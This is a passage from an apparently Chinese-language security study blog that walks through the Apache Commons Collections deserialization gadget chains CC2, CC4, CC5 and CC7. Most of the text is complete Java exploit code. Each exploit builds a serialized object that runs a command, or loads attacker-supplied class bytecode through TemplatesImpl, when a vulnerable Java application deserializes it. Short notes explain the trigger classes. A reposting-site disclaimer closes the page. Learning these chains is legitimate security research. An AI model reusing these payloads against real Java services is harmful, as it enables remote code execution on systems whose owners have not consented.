Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);//因为只有当参数大于二的时候才可以触发队列排比,且这些add的参数就是后续compar的参数
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
Serializ(queue);
Unserializ("Ser_c.bin");
}
}
其实这个CC2还能进行改进,使用加载字节码的方法来尝试无数组执行命令。
在学校CC6的时候学习到了当transform的参数可控时我们可以不需要属性就可以利用加载字节码的方法进行命令执行。
而这条链的我们通过queue.add(templates);的方法来进行传入的参数会在反序列时触发的transform中被调用exp如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2_loader {
public CC2_loader() throws IOException, ClassNotFoundException {
}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
bytecodeField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
Serializ(queue);
Unserializ("Ser.bin");
}
}
CC4
CC4其实就是将加载字节码的方式由最终的反射获取改为了通过TrAXFilter的构造方法触发
即其后半段改为了cc3的另一种加载字节码的方法
exp如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC4 {
public CC4() throws IOException, ClassNotFoundException {
}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
bytecodeField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] Transformer=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransformer=new ChainedTransformer(fakeTransformers);
//Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
//setFieldValue(transformer, "iMethodName", "newTransformer");
Serializ(queue);
Unserializ("Ser.bin");
}
}
CC5
学了前面的几条CC链,学这个CC5的难度其实并不算高了。其和前面的差别其实也就是入口的类发生了改变,后半段与CC6一样就是入口的类改为了BadAttributeValueExpException的readObject来触发toString
exp如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
bytecodeField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templates);
BadAttributeValueExpException obj=new BadAttributeValueExpException(null);
Field val=obj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,tiedMapEntry);
Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
lazyMap.remove(templates);
//tiedMapEntry.toString();
Serializ(obj);
Unserializ("ser.bin");
}
}
CC7
CC7也一样是换了一种方式来触发LazyMap的CC链子
EXP如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
public class CC7 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl();
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})
};
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(2)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP",1);
Map innerMap2 = new HashMap();
innerMap2.put("oo",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("pP");
Class clazz2 = ChainedTransformer.class;
Field field = clazz2.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,Transformer);
Serializ(hashtable);
Unserializ("ser.bin");
}
}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)